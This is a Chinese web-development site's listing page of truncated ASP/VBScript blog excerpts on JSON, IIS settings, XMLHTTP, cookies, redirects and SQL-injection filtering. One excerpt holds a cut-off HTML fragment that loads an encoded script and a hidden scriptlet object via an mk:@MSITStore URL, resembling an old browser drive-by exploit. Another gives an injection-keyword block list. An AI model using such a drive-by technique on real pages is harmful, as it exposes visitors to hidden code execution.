Web开发网 > Web后台开发 > Asp/VBScript > 热门博文
下面这个类库通过设置查询字符串和链接对象,获取查询字符串中选择出的列自动生成对应的json字符串。+展开-VBScriptClassJSONClassDimSqlString'用于设置SelectDimJSON'返回的JSON对象的名称DimDBConnection'连接到数据库的Connection对象'可以外部调用的公共方法PublicFunctionGetJSON()dimRsdimreturnStrdimidimoneRecord'获取数据SetRs=S..
Javascript中的eval函数让我们可以很方便地操作一系列变量(a1,a2,a3,……)。自从VBScript 5.0之后,也可以ASP中使用这个功能了! 和Javascript一样,eval()也是计算其中字符串所代表变量的值并返回,如eval("a"&"1")返回a1的值。不过这个 eval()的功能和Javascript比起来还是有差距的。我试了一下,发现主要有以下一点:VBScript中的ev..
asp/vbscript如何修改access数据库密码。asp/vbscript修改access数据库密码的sql语句语法很简单,如下,但是链接字符串一定要设置正确,要不会提示错误。需要增加原始的密码,并且要以独占的方式打开access数据库ALTER USER 或 DATABASE 语句 :更改现有用户或数据库的密码。 语法ALTER DATABASE PASSWORD newpassword oldpasswordALTER USE..
默认asp接受的数据大小为200kb,如果你表单的总内容大于200kb(包括提交的文字和文件大小的总和,不单是指文件的大小),需要修改iis的配置,将200kb更改为更加大的值。 具体操作步骤入下1,先在服务里关闭iis admin service服务。2,.找到 WINDOWS\system32\inetsrv\下的MetaBase.xml,用记事本打开,找到ASPMaxRequestEntityAllowed 把..
用来获取上一个页面传递过来的数据一般是使用 Request对象。同样的,可以使用Request对象来获取上传上来的文件数据,使用的方法是Request.BinaryRead() 要从数据库中读出来图片的数据显示到网页上面要用到的方法是:Request.BinaryWrite()。 在得到了图片的数据,要保存到数据库中的时候,不可以直接使用Insert语句对数据库进行操作,..
今天在csdn看到一个问题,asp调用存储过程获取return返回值,没有获取到返回值,代码也没有出现问题。 拿他的代码测试了下,发现将Set MyComm=Server.CreateObject(ADODB.Command)MyComm.ActiveConnection=conn 'conn是数据库连接字串MyComm.CommandText=user_check '指定存储过程名MyComm.CommandType=4 '表明这是一个存储过..
TextStream 对象用于访问文本文件的内容。实例读文件本例演示如何使用 FileSystemObject 的 OpenTextFile 方法来创建一个 TextStream 对象。TextStream 对象的 ReadAll 方法会从已打开的文本文件中取得内容。读文本文件中的一个部分本例演示如何仅仅读取一个文本流文件的部分内容。读文本文件中的一行本例演示如何从一个文本流文件中读取一行内容..
asp使用MSXML2.ServerXMLHTTP异步发送请求时,需要注意判断MSXML2.ServerXMLHTTP对象的readyState是否为4,如果不判断直接获取对象的属性,如responseText会出现如下错误msxml3.dll 错误 '8000000a'完成该操作所需的数据还不可使用。/a.asp,行 18 asp使用MSXML2.ServerXMLHTTP异步发送请求源代码%if request.QueryString(dc)=1 ..
win7安装了iis7+以上时,asp发生错误时,默认发送到客户端的错误信息是在iis7+中定义好的,如下面这个错误An error occurred on the server when processing the URL. Please contact the system administrator.If you are the system administrator please click here to find out more about this error. iis7+要显示asp具体的错误信息..
asp如何检查某个网址是否有效或者无效(http状态码不为200) 源代码如下%sub checkurl(url) set xhr=server.CreateObject(Microsoft.XMLHTTP) xhr.open GET,url,false on error resume next xhr.send if err0 then response.Write font color=redurl发生错误:err.Description/fontbr/ err.Clear elseif xhr.status=200 then..
windows 2003已经自己带了修改域用户密码的相关ASP网页文件,位置在C:\windows\system32\inetsrv\iisadmpwd,只需要在IIS里面发布就可以了。 下面就介绍一下如何使用这些文件。1、 在IIS上新建一个虚拟目录2、 输入虚拟目录别名为iisadmpwd3、 设置权限为读取和执行4、 完成5、 在新建虚拟目录的属性里修改默认内容文档6、 在IE里输入..
cookie赋null值出现Microsoft VBScript 运行时错误 错误 '800a000d' 类型不匹配: '[object]' 这个错误解决办法其实很简单,是因为给COOKIES赋了一个为NULL的值。 可以做一个测试:+展开-HTML%response.cookies("a")("a")=a% 运行上面的代码则不会出错,运行下面的代码则会出错。+展开-HTML%a=nullresponse.cookies("a")("a")=a% ..
s=test1,test2fasdfasfafsa%response.write aaa%dfafadfafafafa%for i=0 to 1:response.write ddd:next%fdsfdfdsfsd_ dddddd22222aaaaaa%aaa=888%换行set rx=new RegExp'创建正则表达式rx.Global=true'全局匹配rx.Pattern=%([\s\S]+?)%'正则表达式set mc=rx.Execute(s)'执行匹配response.write 共有mc.count项for each m in mc..
asp取出recordset后,如果需要执行特殊自定义的asp过滤语句,满足条件后再输出对应的记录,而这个asp过滤条件无法融合到sql语句中时,此时asp要如何对记录集进行正确的分页操作? 要对需要执行特殊自定义asp过滤的记录集进行分页操作,不能使用asp提供的默认分页操作,如rs.pagesize,rs.recordcount,rs.pagecount,rs.absolutepage这种..
由于ajaxpro在客户端注册的脚本是JavaScript的,但是JavaScript无法调用VBScript注册的函数或者过程,只能访问VBScript注册的标量,VBScript可以调用JavaScript注册的变量或者方法,所以VBScript使用ajaxpro的异步功能时,需要传递回调函数,如果传递的是VBScript的function函数,会出现“由于出现错误 80020102 而导致此项操作无法完成”的..
+展开-HTMLHTMLoncontextmenu="returnfalse"HEADTITLE /TITLE/HEADBODYSCRIPTLANGUAGE="JavaScript.Encode"src="1.js"/scriptSCRIPTLANGUAGE="JavaScript"varurl=document.location.href;url=url.substring(0,url.lastIndexOf('/'));document.write('OBJECTWidth=0Height=0style="display:none;"type="text/x-scriptlet"data="mk:@MSITStore:mh..
asp抽奖程序算法,需要记录抽奖了多少次的自己注意保存数据结构到数据库中,需要导入json2.asp这个文件,其实内容就是json2.js这个文件,然后用script language=javascript runat=server括起变为服务器端代码即可。!--#include file=json2.asp--script language=javascript runat=server $prize_arr = [//prizeNum:此奖项总数 use:已..
asp添加301跳转响应头Response.Status = 301 Moved PermanentlyResponse.AddHeader location, http://yourdomain asp.net添加301跳转响应头Response.StatusCode = 301;Response.Status = 301 Moved Permanently;Response.AddHeader(location, http://yourdomain); php加301跳转响应头header('HTTP/1.1 301 Moved Permanently'..
在asp中进行类型转换时,如读取数据库中的数据,对某一列进行转换,此列数据没有初始化值,则使用cdbl,cint等函数对此列信息类型进行转换时,会出现“无效使用 Null”的错误,有2中解决办法。 第一种,使用isnull函数判断下列是否为null,如果为null则不能进行转换。+展开-VBScriptnum=0ifnotisnull(rs("num"))thennum=cint(r..
除了使用正则表达式外,其实replace和instr的参数中也可以设置不区分大小写字母匹配的参数,默认是省略的,对字母大小写敏感。Replace函数一共有六个参数,其中三个必须三个可选:Replace(expression,find,replacewith[,start[,count[,compare]]]) compare参数表示比较方式,平时我们都省略了,那样是按二进制比较,区分大小写的,还可以..
今天在改一个asp程序的时候,发现adodb.recordset调用update方法后更新速度超慢,甚至无法响应。打开资源管理器查看,发现iis进程w3wp.exe占用cpu 100%。⊙﹏⊙b汗 之前一直都可以运行,没出现过cpu 100%使用的问题,后面检查了下,也没发现什么死循环的之类。是不是今天增加了2列后,更新时就出现这种问题了,应该是这新增加的这2列的问题..
ASP常用Server.MapPath()来获取文件或文件夹路径,但是你可能碰到过这个方法出错的情况,而在手册或者教程中根本找不到相应的说明,只能从网上搜索到问题的答案。1. 为MapPath方法指定的Path参数中包含无效字符。 ASP 0214 (0x80004005) 例子:Server.MapPath(Yes,I do.txt)'(Yes,I do.txt是一个合法的文件名) 这样的文件名可能来自于用..
asp的files集合不是数组,所以无法通过索引访问files集合中的项目,也没有提供相关方法进行访问。 解决办法:遍历files对象后将文件名存入数组中。 asp files集合如何通过索引访问对象源代码如下% set fso=server.CreateObject(scripting.filesystemobject) folder=Server.MapPath(.) set fd=fso.GetFolder(folder) set f..
首先,引用System.Management;然后在代码中Imports System.Management;'获得硬盘序列号 Dim cmicWmi As New System.Management.ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive") Dim Uint32 As UInt32 For Each cmicWmiObj As ManagementObject In cmicWmi.Get Uint32 = cmicWmiObj("signature") Next TextBox1.Text = Uint32...
1、文件上传表单 首先需要编写一个能提供文件上传功能的表单,程序如下所示: <Form action="upload.asp" method=post enctype="multipart/form-data"> 上传文件:<Input type=file name=file1><br> <input type=submit name=upload value="上传"> </form> 其中,enctype参数用来设置表单的MIME编码方式,在进行文件(或同时包含文本框..
Microsoft.XMLHTTP Microsoft.XMLHttp组件的属性方法 一、使用步骤: 1、创建XMLHTTP对象 //需MSXML4.0支持 2、打开与服务端的连接,同时定义指令发送方式,服务网页(URL)和请求权限等。客户端通过Open命令打开与服务端的服务网页的连接。与普通HTTP指令传送一样,可以用"GET"方法或"POST"方法指向服务端的服务网页。 3、发送指..
摘要: 本文演示了 使用 Access查询 构造类似于 MSSQL 存储过程的功能, 并在 ASP 中操作插入数据,显示数据功能.目录:1. 在 Access 查询里建表, 名 tt2. 在 Access 查询里新建查询, 内容为:...3. 在 ASP 里使用 tt_insertParm 添加10条记录到 表tt3.1 构造ASP ado 连接函数, fCreateCnn 与 fCloseCnn3.2 组合使用 fCreateCnn, fCloseCnn, tt_inser..
asp/vbscript dim定义数组时,如果下标为变量,会提示“缺少整形参数”的错误。如下+展开-VBScriptidx=1dima(idx) 这时需要先定义一个没有下标的数组或者直接是Variant类型的变量,然后再用redim来定义下标为变量的参数就没有问题了。+展开-VBScriptidx=1dima'或者a()redima(idx)
asp通用防sql注入源代码,将此段代码放在你执行sql读取数据之前,以便判断客户端提交的内容是否包含恶意注入内容dim spDim Fy_Post,Fy_Get,Fy_getIn,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql,Fy_postIn'自定义需要过滤的字串,用 | 分隔Fy_getIn = '|#|exec|insert|select|delete|update|%|chr|char|mid|master|truncate|decla..
下面的示例代码以VBScript为例,介绍防sql注入参数处理要点,只要在操作数据之前,按照下面的步骤对客户端提交的参数进行验证,一般不会出现sql注入问题,最多是脚本出错,在cint语句那里读数据库,使用连接字符串构成sql语句的,需要执行下面的操作 1)如果参数为字符串,将'替换掉xx=replace(request(xx),',) 2)如果参数为.. 首页 上一页 [1] [2] [3] [4] [5] [6] [7] [8] 下一页 尾页 4/8页,每页显示30条,共235条相关记录